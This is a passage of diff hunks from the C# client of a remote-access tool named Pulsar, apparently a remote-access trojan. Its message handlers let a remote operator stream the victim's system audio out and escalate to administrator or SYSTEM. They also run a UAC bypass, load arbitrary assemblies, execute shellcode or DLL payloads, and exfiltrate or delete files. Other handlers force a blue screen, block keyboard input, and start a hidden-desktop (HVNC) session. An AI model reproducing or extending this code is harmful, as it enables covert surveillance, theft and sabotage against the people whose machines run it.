Destroy();
OnReport("Speaker audio streaming stopped");
}
catch (Exception ex)
{
OnReport($"Error stopping speaker audio: {ex.Message}");
}
return;
}
if (_client == null) _client = client;
if (!_isStarted)
{
try
{
_deviceID = message.DeviceIndex;
var enumerator = new MMDeviceEnumerator();
var devices = enumerator.EnumerateAudioEndPoints(DataFlow.Render, DeviceState.Active);
if (_deviceID < 0 || _deviceID >= devices.Count)
{
OnReport($"Invalid device index: {_deviceID}. Available devices: {devices.Count}");
enumerator.Dispose();
return;
}
var device = devices[_deviceID];
if (device == null)
{
OnReport($"Audio device at index {_deviceID} is null");
enumerator.Dispose();
return;
}
OnReport($"Initializing system audio device {_deviceID}: {device.FriendlyName}");
if (device.AudioClient?.MixFormat == null)
{
OnReport($"Audio device {_deviceID} has invalid audio client or format");
enumerator.Dispose();
return;
}
int sampleRate = message.Bitrate;
int channels = device.AudioClient.MixFormat.Channels;
var waveFormat = new WaveFormat(sampleRate, channels);
_audioDevice = new WasapiLoopbackCapture(device);
_audioDevice.WaveFormat = waveFormat;
_audioDevice.DataAvailable += sourcestream_DataAvailable;
_audioDevice.StartRecording();
_isStarted = true;
enumerator.Dispose();
}
catch (ArgumentOutOfRangeException ex)
{
OnReport($"Device index out of range: {ex.Message}");
_isStarted = false;
}
catch (InvalidOperationException ex)
{
OnReport($"Invalid audio operation: {ex.Message}");
_isStarted = false;
}
catch (System.Runtime.InteropServices.COMException ex)
{
OnReport($"COM error accessing audio device: {ex.Message}");
_isStarted = false;
}
catch (UnauthorizedAccessException ex)
{
OnReport($"Unauthorized access to audio device: {ex.Message}");
_isStarted = false;
}
catch (Exception ex)
{
OnReport($"Unexpected error initializing audio capture: {ex.Message}");
_isStarted = false;
}
}
}
private void sourcestream_DataAvailable(object sender, WaveInEventArgs e) //fix overheat
{
byte[] bufferCopy = new byte[e.BytesRecorded];
Array.Copy(e.Buffer, bufferCopy, e.BytesRecorded);
Task.Run(() =>
{
try
{
_client.Send(new GetOutputResponse
{
Audio = bufferCopy,
Device = _deviceID
});
}
catch (Exception ex)
{
OnReport($"Error sending audio data: {ex.Message}");
}
});
}
private void Execute(ISender client, GetOutputDevice message)
{
try
{
var deviceList = new List<Tuple<int, string>>();
var enumerator = new MMDeviceEnumerator();
var devices = enumerator.EnumerateAudioEndPoints(DataFlow.Render, DeviceState.Active);
for (int i = 0; i < devices.Count; i++)
{
try
{
var deviceName = devices[i]?.FriendlyName;
if (!string.IsNullOrEmpty(deviceName))
{
OnReport($"Found system audio device {i}: {deviceName}");
deviceList.Add(Tuple.Create(i, deviceName));
}
}
catch (Exception ex)
{
OnReport($"Error accessing device {i}: {ex.Message}");
}
}
enumerator.Dispose();
client.Send(new GetOutputDeviceResponse { DeviceInfos = deviceList });
}
catch (Exception ex)
{
OnReport($"Error enumerating audio devices: {ex.Message}");
client.Send(new GetOutputDeviceResponse { DeviceInfos = new List<Tuple<int, string>>() });
}
}
public void Destroy()
{
try
{
if (_audioDevice != null)
{
try
{
_audioDevice.DataAvailable -= sourcestream_DataAvailable;
}
catch (Exception ex)
{
OnReport($"Error unsubscribing from DataAvailable event: {ex.Message}");
}
try
{
if (_audioDevice.CaptureState == CaptureState.Capturing)
{
_audioDevice.StopRecording();
}
}
catch (Exception ex)
{
OnReport($"Error stopping audio recording: {ex.Message}");
}
try
{
_audioDevice.Dispose();
}
catch (Exception ex)
{
OnReport($"Error disposing audio device: {ex.Message}");
}
_audioDevice = null;
}
}
catch (Exception ex)
{
OnReport($"Error in Destroy method: {ex.Message}");
}
finally
{
_isStarted = false;
}
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this message processor.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
try
{
Destroy();
}
catch (Exception ex)
{
OnReport($"Error during disposal: {ex.Message}");
}
}
}
}
}
@@ -0,0 +1,204 @@
using Microsoft.Win32;
using Pulsar.Client.Config;
using Pulsar.Client.Helper;
using Pulsar.Client.Helper.UAC;
using Pulsar.Client.Networking;
using Pulsar.Client.Setup;
using Pulsar.Client.User;
using Pulsar.Client.Utilities;
using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.ClientManagement;
using Pulsar.Common.Messages.ClientManagement.UAC;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Common.UAC;
using System;
using System.Diagnostics;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Pulsar.Client.Messages
{
public class ClientServicesHandler : IMessageProcessor
{
private readonly PulsarClient _client;
private readonly PulsarApplication _application;
public ClientServicesHandler(PulsarApplication application, PulsarClient client)
{
_application = application;
_client = client;
}
public bool CanExecute(IMessage message) => message is DoClientUninstall ||
message is DoClientDisconnect ||
message is DoClientReconnect ||
message is DoAskElevate ||
message is DoElevateSystem ||
message is DoDeElevate ||
message is DoUACBypass ||
message is DoClearTempDirectory;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoClientUninstall msg:
Execute(sender, msg);
break;
case DoClientDisconnect msg:
Execute(sender, msg);
break;
case DoClientReconnect msg:
Execute(sender, msg);
break;
case DoAskElevate msg:
Execute(sender, msg);
break;
case DoElevateSystem msg:
Execute(sender, msg);
break;
case DoDeElevate msg:
Execute(sender, msg);
break;
case DoUACBypass msg:
Execute(sender, msg);
break;
case DoClearTempDirectory msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, DoClientUninstall message)
{
client.Send(new SetStatus { Message = "Starting uninstall process..." });
try
{
new ClientUninstaller().Uninstall();
client.Send(new SetStatus { Message = "Uninstallation complete. Exiting client." });
_client.Exit();
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Uninstall failed: {ex.Message}" });
}
}
private void Execute(ISender client, DoClientDisconnect message)
{
client.Send(new SetStatus { Message = "Disconnecting client..." });
_client.Exit();
}
private void Execute(ISender client, DoClientReconnect message)
{
client.Send(new SetStatus { Message = "Reconnecting client..." });
_client.Disconnect();
}
private void Execute(ISender client, DoAskElevate message)
{
var userAccount = new UserAccount();
client.Send(new SetStatus { Message = "Checking for administrative privileges..." });
if (userAccount.Type != AccountType.Admin)
{
client.Send(new SetStatus { Message = "Attempting to request elevation..." });
ProcessStartInfo processStartInfo = new ProcessStartInfo
{
FileName = "cmd",
Verb = "runas",
Arguments = "/k START \"\" \"" + Application.ExecutablePath + "\" & EXIT",
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true
};
_application.ApplicationMutex.Dispose();
try
{
Process.Start(processStartInfo);
client.Send(new SetStatus { Message = "Elevation process started. Exiting current instance." });
}
catch
{
client.Send(new SetStatus { Message = "User refused the elevation request." });
_application.ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);
return;
}
_client.Exit();
}
else
{
client.Send(new SetStatus { Message = "Process already running with administrative privileges." });
}
}
private void Execute(ISender client, DoElevateSystem message)
{
client.Send(new SetStatus { Message = "Attempting to elevate to SYSTEM..." });
SystemElevation.Elevate(client);
}
private void Execute(ISender client, DoDeElevate message)
{
client.Send(new SetStatus { Message = "Attempting to de-elevate from SYSTEM..." });
SystemElevation.DeElevate(client);
}
private void Execute(ISender client, DoUACBypass message)
{
client.Send(new SetStatus { Message = "Executing UAC bypass..." });
Bypass.DoUacBypass();
client.Send(new SetStatus { Message = "UAC bypass completed. Exiting client." });
_client.Exit();
}
private void Execute(ISender client, DoClearTempDirectory message)
{
client.Send(new SetStatus { Message = "Starting temporary file cleanup..." });
try
{
string tempPath = System.IO.Path.GetTempPath();
string[] files = System.IO.Directory.GetFiles(tempPath, "*", System.IO.SearchOption.AllDirectories);
int deletedFiles = 0;
foreach (string file in files)
{
try
{
System.IO.File.Delete(file);
deletedFiles++;
}
catch
{
// Ignore permission or lock errors
}
}
foreach (string dir in System.IO.Directory.GetDirectories(tempPath))
{
try
{
System.IO.Directory.Delete(dir, true);
}
catch
{
// Ignore restricted directories
}
}
client.Send(new SetStatus { Message = $"Cleanup complete — {deletedFiles} files deleted." });
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Temp cleanup failed: {ex.Message}" });
}
}
}
}
+98
View File
@@ -0,0 +1,98 @@
using System;
using System.Reflection;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Client.Plugins;
using Pulsar.Common.Plugins;
namespace Pulsar.Client.Messages
{
public sealed class CommandHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) =>
message is DoLoadUniversalPlugin ||
message is DoExecuteUniversalCommand;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
try
{
switch (message)
{
case DoLoadUniversalPlugin loadMsg:
HandleLoadUniversalPlugin(sender, loadMsg);
break;
case DoExecuteUniversalCommand execMsg:
HandleExecuteUniversalCommand(sender, execMsg);
break;
}
}
catch (Exception ex)
{
sender.Send(new SetStatus { Message = "Command error: " + ex.Message });
}
}
private void HandleLoadUniversalPlugin(ISender sender, DoLoadUniversalPlugin msg)
{
try
{
var asm = Assembly.Load(msg.PluginBytes);
var type = asm.GetType(msg.TypeName, throwOnError: true);
var plugin = Activator.CreateInstance(type);
var initializeMethod = type.GetMethod("Initialize");
initializeMethod.Invoke(plugin, new object[] { msg.InitData });
UniversalPluginDispatcher.RegisterPlugin(msg.PluginId, plugin);
sender.Send(new DoUniversalPluginResponse
{
PluginId = msg.PluginId,
Command = "load",
Success = true,
Message = $"Plugin {msg.PluginId} loaded successfully"
});
}
catch (Exception ex)
{
sender.Send(new DoUniversalPluginResponse
{
PluginId = msg.PluginId,
Command = "load",
Success = false,
Message = ex.Message
});
}
}
private void HandleExecuteUniversalCommand(ISender sender, DoExecuteUniversalCommand msg)
{
var result = UniversalPluginDispatcher.ExecuteCommand(msg.PluginId, msg.Command, msg.Parameters);
var resultType = result.GetType();
var successProperty = resultType.GetProperty("Success");
var messageProperty = resultType.GetProperty("Message");
var dataProperty = resultType.GetProperty("Data");
var shouldUnloadProperty = resultType.GetProperty("ShouldUnload");
var nextCommandProperty = resultType.GetProperty("NextCommand");
bool success = successProperty != null ? (bool)successProperty.GetValue(result) : false;
string message = messageProperty != null ? (string)messageProperty.GetValue(result) : "Unknown error";
byte[] data = dataProperty != null ? (byte[])dataProperty.GetValue(result) : null;
bool shouldUnload = shouldUnloadProperty != null ? (bool)shouldUnloadProperty.GetValue(result) : false;
string nextCommand = nextCommandProperty != null ? (string)nextCommandProperty.GetValue(result) : null;
sender.Send(new DoUniversalPluginResponse
{
PluginId = msg.PluginId,
Command = msg.Command,
Success = success,
Message = message,
Data = data,
ShouldUnload = shouldUnload,
NextCommand = nextCommand
});
}
}
}
@@ -0,0 +1,53 @@
using Pulsar.Client.Config;
using Pulsar.Client.Utilities;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using System.Diagnostics;
using System.Threading;
namespace Pulsar.Client.Messages
{
/// <summary>
/// Receives deferred assembly packages from the server and forwards them to the manager.
/// </summary>
public class DeferredAssemblyHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DeferredAssembliesPackage;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
var package = message as DeferredAssembliesPackage;
if (package == null)
{
Debug.WriteLine("[DeferredAssemblyHandler] Received invalid package.");
return;
}
DeferredAssemblyManager.RegisterPackage(package);
var remaining = DeferredAssemblyManager.GetMissingAssemblies();
if (remaining != null && remaining.Length > 0)
{
Debug.WriteLine($"[DeferredAssemblyHandler] Still missing {remaining.Length} deferred assemblies, requesting again.");
ThreadPool.QueueUserWorkItem(_ =>
{
try
{
sender.Send(new RequestDeferredAssemblies
{
Assemblies = remaining,
ClientVersion = Settings.ReportedVersion
});
}
catch (System.Exception ex)
{
Debug.WriteLine($"[DeferredAssemblyHandler] Failed to re-request deferred assemblies: {ex.Message}");
}
});
}
}
}
}
@@ -0,0 +1,587 @@
using Pulsar.Client.Networking;
using Pulsar.Common;
using Pulsar.Common.Enums;
using Pulsar.Common.Extensions;
using Pulsar.Common.Helpers;
using Pulsar.Common.IO;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.FileManager;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
using Pulsar.Common.Networking;
using System;
using System.Collections.Concurrent;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Security;
using System.Threading;
namespace Pulsar.Client.Messages
{
public class FileManagerHandler : NotificationMessageProcessor, IDisposable
{
private readonly ConcurrentDictionary<int, FileSplit> _activeTransfers = new ConcurrentDictionary<int, FileSplit>();
private readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads
private readonly PulsarClient _client;
private CancellationTokenSource _tokenSource;
private CancellationToken _token;
public FileManagerHandler(PulsarClient client)
{
_client = client;
_client.ClientState += OnClientStateChange;
_tokenSource = new CancellationTokenSource();
_token = _tokenSource.Token;
}
private void OnClientStateChange(Networking.Client s, bool connected)
{
switch (connected)
{
case true:
_tokenSource?.Dispose();
_tokenSource = new CancellationTokenSource();
_token = _tokenSource.Token;
break;
case false:
// cancel all running transfers on disconnect
_tokenSource.Cancel();
break;
}
}
public override bool CanExecute(IMessage message) => message is GetDrives ||
message is GetDirectory ||
message is FileTransferRequest ||
message is FileTransferCancel ||
message is FileTransferChunk ||
message is DoPathDelete ||
message is DoPathRename ||
message is DoZipFolder;
public override bool CanExecuteFrom(ISender sender) => true;
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetDrives msg:
Execute(sender, msg);
break;
case GetDirectory msg:
Execute(sender, msg);
break;
case FileTransferRequest msg:
Execute(sender, msg);
break;
case FileTransferCancel msg:
Execute(sender, msg);
break;
case FileTransferChunk msg:
Execute(sender, msg);
break;
case DoPathDelete msg:
Execute(sender, msg);
break;
case DoPathRename msg:
Execute(sender, msg);
break;
case DoZipFolder msg:
HandleDoZipFile(sender, msg);
break;
}
}
private void HandleDoZipFile(ISender client, DoZipFolder message)
{
try
{
if (!Directory.Exists(message.SourcePath))
{
client.Send(new SetStatusFileManager { Message = $"Directory not found: {message.SourcePath}" });
return;
}
client.Send(new SetStatusFileManager { Message = $"Creating zip archive: {message.DestinationPath}" });
string parentDir = Path.GetDirectoryName(message.DestinationPath);
if (!Directory.Exists(parentDir))
Directory.CreateDirectory(parentDir);
if (File.Exists(message.DestinationPath))
File.Delete(message.DestinationPath);
ZipFile.CreateFromDirectory(
message.SourcePath,
message.DestinationPath,
(CompressionLevel)message.CompressionLevel,
includeBaseDirectory: false);
client.Send(new SetStatusFileManager { Message = $"Successfully created zip: {message.DestinationPath}" });
}
catch (Exception ex)
{
client.Send(new SetStatusFileManager { Message = $"Error creating zip: {ex.Message}" });
}
}
private void Execute(ISender client, GetDrives command)
{
DriveInfo[] driveInfos;
try
{
driveInfos = DriveInfo.GetDrives().Where(d => d.IsReady).ToArray();
}
catch (IOException)
{
client.Send(new SetStatusFileManager { Message = "GetDrives I/O error", SetLastDirectorySeen = false });
return;
}
catch (UnauthorizedAccessException)
{
client.Send(new SetStatusFileManager { Message = "GetDrives No permission", SetLastDirectorySeen = false });
return;
}
if (driveInfos.Length == 0)
{
client.Send(new SetStatusFileManager { Message = "GetDrives No drives", SetLastDirectorySeen = false });
return;
}
Drive[] drives = new Drive[driveInfos.Length];
for (int i = 0; i < drives.Length; i++)
{
try
{
var displayName = !string.IsNullOrEmpty(driveInfos[i].VolumeLabel)
? string.Format("{0} ({1}) [{2}, {3}]", driveInfos[i].RootDirectory.FullName,
driveInfos[i].VolumeLabel,
driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat)
: string.Format("{0} [{1}, {2}]", driveInfos[i].RootDirectory.FullName,
driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat);
drives[i] = new Drive
{ DisplayName = displayName, RootDirectory = driveInfos[i].RootDirectory.FullName };
}
catch (Exception)
{
}
}
client.Send(new GetDrivesResponse { Drives = drives });
}
private void Execute(ISender client, GetDirectory message)
{
bool isError = false;
string statusMessage = null;
Action<string> onError = (msg) =>
{
isError = true;
statusMessage = msg;
};
try
{
DirectoryInfo dicInfo = new DirectoryInfo(message.RemotePath);
FileInfo[] files = dicInfo.GetFiles();
DirectoryInfo[] directories = dicInfo.GetDirectories();
FileSystemEntry[] items = new FileSystemEntry[files.Length + directories.Length];
int offset = 0;
for (int i = 0; i < directories.Length; i++, offset++)
{
items[i] = new FileSystemEntry
{
EntryType = FileType.Directory,
Name = directories[i].Name,
Size = 0,
LastAccessTimeUtc = directories[i].LastAccessTimeUtc
};
}
for (int i = 0; i < files.Length; i++)
{
items[i + offset] = new FileSystemEntry
{
EntryType = FileType.File,
Name = files[i].Name,
Size = files[i].Length,
ContentType = Path.GetExtension(files[i].Name).ToContentType(),
LastAccessTimeUtc = files[i].LastAccessTimeUtc
};
}
client.Send(new GetDirectoryResponse { RemotePath = message.RemotePath, Items = items });
}
catch (UnauthorizedAccessException)
{
onError("GetDirectory No permission");
}
catch (SecurityException)
{
onError("GetDirectory No permission");
}
catch (PathTooLongException)
{
onError("GetDirectory Path too long");
}
catch (DirectoryNotFoundException)
{
onError("GetDirectory Directory not found");
}
catch (FileNotFoundException)
{
onError("GetDirectory File not found");
}
catch (IOException)
{
onError("GetDirectory I/O error");
}
catch (Exception)
{
onError("GetDirectory Failed");
}
finally
{
if (isError && !string.IsNullOrEmpty(statusMessage))
client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = true });
}
}
private void Execute(ISender client, FileTransferRequest message)
{
new Thread(() =>
{
_limitThreads.WaitOne();
try
{
using (var srcFile = new FileSplit(message.RemotePath, FileAccess.Read))
{
_activeTransfers[message.Id] = srcFile;
OnReport("File upload started");
foreach (var chunk in srcFile)
{
if (_token.IsCancellationRequested || !_activeTransfers.ContainsKey(message.Id))
break;
// blocking sending might not be required, needs further testing
_client.SendBlocking(new FileTransferChunk
{
Id = message.Id,
FilePath = message.RemotePath,
FileSize = srcFile.FileSize,
Chunk = chunk
});
}
client.Send(new FileTransferComplete
{
Id = message.Id,
FilePath = message.RemotePath
});
}
}
catch (Exception)
{
client.Send(new FileTransferCancel
{
Id = message.Id,
Reason = "Error reading file"
});
}
finally
{
RemoveFileTransfer(message.Id);
_limitThreads.Release();
}
}).Start();
}
private void Execute(ISender client, FileTransferCancel message)
{
if (_activeTransfers.ContainsKey(message.Id))
{
RemoveFileTransfer(message.Id);
client.Send(new FileTransferCancel
{
Id = message.Id,
Reason = "Canceled"
});
}
}
/// <summary>
/// Validates and sanitizes a file path to prevent path traversal attacks.
/// </summary>
/// <param name="filePath">The file path to validate.</param>
/// <returns>A safe file path or null if the path is invalid.</returns>
private string ValidateAndSanitizeFilePath(string filePath)
{
try
{
if (string.IsNullOrWhiteSpace(filePath))
return null;
string fullPath = Path.GetFullPath(filePath);
if (!Path.IsPathRooted(fullPath))
return null;
string fileName = Path.GetFileName(fullPath);
if (string.IsNullOrEmpty(fileName) || fileName.Contains(".."))
return null;
char[] invalidChars = Path.GetInvalidFileNameChars();
if (fileName.IndexOfAny(invalidChars) >= 0)
return null;
string directory = Path.GetDirectoryName(fullPath);
if (string.IsNullOrEmpty(directory))
return null;
if (!Directory.Exists(directory))
{
Directory.CreateDirectory(directory);
}
return fullPath;
}
catch
{
return null;
}
}
private void Execute(ISender client, FileTransferChunk message)
{
try
{
if (message.Chunk.Offset == 0)
{
string filePath = message.FilePath;
if (string.IsNullOrEmpty(filePath))
{
// generate new temporary file path if empty
filePath = FileHelper.GetTempFilePath(message.FileExtension);
}
else
{
filePath = ValidateAndSanitizeFilePath(filePath);
if (filePath == null)
{
client.Send(new FileTransferCancel
{
Id = message.Id,
Reason = "Invalid file path - security violation"
});
return;
}
}
if (File.Exists(filePath))
{
// delete existing file
NativeMethods.DeleteFile(filePath);
}
_activeTransfers[message.Id] = new FileSplit(filePath, FileAccess.Write);
OnReport("File download started");
}
if (!_activeTransfers.ContainsKey(message.Id))
return;
var destFile = _activeTransfers[message.Id];
destFile.WriteChunk(message.Chunk);
if (destFile.FileSize == message.FileSize)
{
client.Send(new FileTransferComplete
{
Id = message.Id,
FilePath = destFile.FilePath
});
RemoveFileTransfer(message.Id);
}
}
catch (Exception)
{
RemoveFileTransfer(message.Id);
client.Send(new FileTransferCancel
{
Id = message.Id,
Reason = "Error writing file"
});
}
}
private void Execute(ISender client, DoPathDelete message)
{
bool isError = false;
string statusMessage = null;
Action<string> onError = (msg) =>
{
isError = true;
statusMessage = msg;
};
try
{
switch (message.PathType)
{
case FileType.Directory:
Directory.Delete(message.Path, true);
client.Send(new SetStatusFileManager
{
Message = "Deleted directory",
SetLastDirectorySeen = false
});
break;
case FileType.File:
File.Delete(message.Path);
client.Send(new SetStatusFileManager
{
Message = "Deleted file",
SetLastDirectorySeen = false
});
break;
}
Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.Path) });
}
catch (UnauthorizedAccessException)
{
onError("DeletePath No permission");
}
catch (PathTooLongException)
{
onError("DeletePath Path too long");
}
catch (DirectoryNotFoundException)
{
onError("DeletePath Path not found");
}
catch (IOException)
{
onError("DeletePath I/O error");
}
catch (Exception)
{
onError("DeletePath Failed");
}
finally
{
if (isError && !string.IsNullOrEmpty(statusMessage))
client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false });
}
}
private void Execute(ISender client, DoPathRename message)
{
bool isError = false;
string statusMessage = null;
Action<string> onError = (msg) =>
{
isError = true;
statusMessage = msg;
};
try
{
switch (message.PathType)
{
case FileType.Directory:
Directory.Move(message.Path, message.NewPath);
client.Send(new SetStatusFileManager
{
Message = "Renamed directory",
SetLastDirectorySeen = false
});
break;
case FileType.File:
File.Move(message.Path, message.NewPath);
client.Send(new SetStatusFileManager
{
Message = "Renamed file",
SetLastDirectorySeen = false
});
break;
}
Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.NewPath) });
}
catch (UnauthorizedAccessException)
{
onError("RenamePath No permission");
}
catch (PathTooLongException)
{
onError("RenamePath Path too long");
}
catch (DirectoryNotFoundException)
{
onError("RenamePath Path not found");
}
catch (IOException)
{
onError("RenamePath I/O error");
}
catch (Exception)
{
onError("RenamePath Failed");
}
finally
{
if (isError && !string.IsNullOrEmpty(statusMessage))
client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false });
}
}
private void RemoveFileTransfer(int id)
{
if (_activeTransfers.ContainsKey(id))
{
_activeTransfers[id]?.Dispose();
_activeTransfers.TryRemove(id, out _);
}
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this message processor.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
_client.ClientState -= OnClientStateChange;
_tokenSource.Cancel();
_tokenSource.Dispose();
foreach (var transfer in _activeTransfers)
{
transfer.Value?.Dispose();
}
_activeTransfers.Clear();
}
}
}
}
+276
View File
@@ -0,0 +1,276 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Networking;
using Pulsar.Common.Messages.FunStuff;
using Pulsar.Common.Messages.Other;
using Pulsar.Client.FunStuff;
using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Threading;
using System.Diagnostics;
using System.Reflection;
using System.Security.Cryptography;
using System.Text;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Pulsar.Client.Messages
{
public class FunStuffHandler : IMessageProcessor, IDisposable
{
private BSOD _bsod = new BSOD();
private SwapMouseButtons _swapMouseButtons = new SwapMouseButtons();
private HideTaskbar _hideTaskbar = new HideTaskbar();
private KeyboardInput _keyboardInput = new KeyboardInput();
private CDTray _cdTray = new CDTray();
private MonitorPower _monitorPower = new MonitorPower();
private ShellcodeRunner _shellcodeRunner = new ShellcodeRunner();
private DllRunner _dllRunner = new DllRunner(); // Added DLL runner
public bool CanExecute(IMessage message) =>
message is DoBSOD ||
message is DoSwapMouseButtons ||
message is DoHideTaskbar ||
message is DoChangeWallpaper ||
message is DoBlockKeyboardInput ||
message is DoCDTray ||
message is DoMonitorsOff ||
message is DoSendBinFile;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoBSOD msg:
Execute(sender, msg);
break;
case DoSwapMouseButtons msg:
Execute(sender, msg);
break;
case DoHideTaskbar msg:
Execute(sender, msg);
break;
case DoChangeWallpaper msg:
Execute(sender, msg);
break;
case DoBlockKeyboardInput msg:
Execute(sender, msg);
break;
case DoCDTray msg:
Execute(sender, msg);
break;
case DoMonitorsOff msg:
Execute(sender, msg);
break;
case DoSendBinFile msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, DoSendBinFile message)
{
try
{
// Determine if this is shellcode or DLL based on message properties or content
if (IsDllPayload(message))
{
_dllRunner.Handle(message, client);
}
else
{
_shellcodeRunner.Handle(message, client);
}
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Failed to execute binary: {ex.Message}" });
}
}
private bool IsDllPayload(DoSendBinFile message)
{
// You can implement logic here to determine if the payload is a DLL
// Some possible approaches:
// 1. Check file extension if available in message
// if (!string.IsNullOrEmpty(message.FileName) && message.FileName.EndsWith(".dll", StringComparison.OrdinalIgnoreCase))
// return true;
// 2. Check for DLL signature (MZ header)
if (message.Data?.Length > 1 && message.Data[0] == 0x4D && message.Data[1] == 0x5A)
return true;
// 3. Add a property to DoSendBinFile message type to specify payload type
// return message.PayloadType == "dll";
// For now, default to shellcode execution
return false;
}
private void Execute(ISender client, DoCDTray message)
{
try
{
_cdTray.Handle(message);
client.Send(new SetStatus { Message = $"CD tray {(message.Open ? "opened" : "closed")} successfully" });
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Failed to {(message.Open ? "open" : "close")} CD tray: {ex.Message}" });
}
}
private void Execute(ISender client, DoMonitorsOff message)
{
try
{
_monitorPower.Handle(message);
client.Send(new SetStatus { Message = $"Monitors turned {(message.Off ? "off" : message.On ? "on" : "no action")} successfully" });
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Failed to change monitor state: {ex.Message}" });
}
}
private void Execute(ISender client, DoBSOD message)
{
client.Send(new SetStatus { Message = "Successful BSOD" });
_bsod.DOBSOD();
}
private void Execute(ISender client, DoSwapMouseButtons message)
{
try
{
SwapMouseButtons.SwapMouse();
client.Send(new SetStatus { Message = "Successfull Mouse Swap" });
}
catch
{
client.Send(new SetStatus { Message = "Failed to swap mouse buttons" });
}
}
private void Execute(ISender client, DoHideTaskbar message)
{
try
{
client.Send(new SetStatus { Message = "Successful Hide Taskbar" });
HideTaskbar.DoHideTaskbar();
}
catch
{
client.Send(new SetStatus { Message = "Failed to hide taskbar" });
}
}
private void Execute(ISender client, DoChangeWallpaper message)
{
try
{
string imagePath = SaveImageToFile(message.ImageData, message.ImageFormat);
ChangeWallpaper.SetWallpaper(imagePath);
client.Send(new SetStatus { Message = "Successful Wallpaper Change" });
}
catch
{
client.Send(new SetStatus { Message = "Failed to change wallpaper" });
}
}
private void Execute(ISender client, DoBlockKeyboardInput message)
{
try
{
_keyboardInput.Handle(message);
client.Send(new SetStatus { Message = $"Keyboard input {(message.Block ? "blocked" : "unblocked")} successfully" });
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Failed to {(message.Block ? "block" : "unblock")} keyboard input: {ex.Message}" });
}
}
private string SaveImageToFile(byte[] imageData, string imageFormat)
{
string tempPath = Path.Combine(Path.GetTempPath(), "wallpaper" + GetImageExtension(imageFormat));
using (MemoryStream ms = new MemoryStream(imageData))
{
Image image = Image.FromStream(ms);
image.Save(tempPath, GetImageFormat(imageFormat));
}
return tempPath;
}
private string GetImageExtension(string imageFormat)
{
switch (imageFormat?.ToLower())
{
case "jpeg":
case "jpg":
return ".jpg";
case "png":
return ".png";
case "bmp":
return ".bmp";
case "gif":
return ".gif";
default:
return ".img";
}
}
private ImageFormat GetImageFormat(string imageFormat)
{
switch (imageFormat?.ToLower())
{
case "jpeg":
case "jpg":
return ImageFormat.Jpeg;
case "png":
return ImageFormat.Png;
case "bmp":
return ImageFormat.Bmp;
case "gif":
return ImageFormat.Gif;
default:
throw new NotSupportedException($"Image format {imageFormat} is not supported.");
}
}
#region IDisposable Implementation
private bool _disposed = false;
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (!_disposed)
{
if (disposing)
{
_keyboardInput?.Dispose();
}
_disposed = true;
}
}
~FunStuffHandler()
{
Dispose(false);
}
#endregion
}
}
+416
View File
@@ -0,0 +1,416 @@
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Threading;
using System.Threading.Tasks;
using Pulsar.Client.Helper;
using Pulsar.Client.Helper.HVNC;
using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Monitoring.HVNC;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Common.Video;
using Pulsar.Common.Video.Codecs;
namespace Pulsar.Client.Messages
{
public class HVNCHandler : IMessageProcessor, IDisposable
{
private UnsafeStreamCodec _streamCodec;
private BitmapData _desktopData = null;
private Bitmap _desktop = null;
private ISender _clientMain;
private Thread _captureThread;
private CancellationTokenSource _cancellationTokenSource;
private readonly ImageHandler ImageHandler = new ImageHandler("PulsarDesktop");
private readonly InputHandler InputHandler = new InputHandler("PulsarDesktop");
private readonly ProcessController ProcessHandler = new ProcessController("PulsarDesktop");
// frame control variables
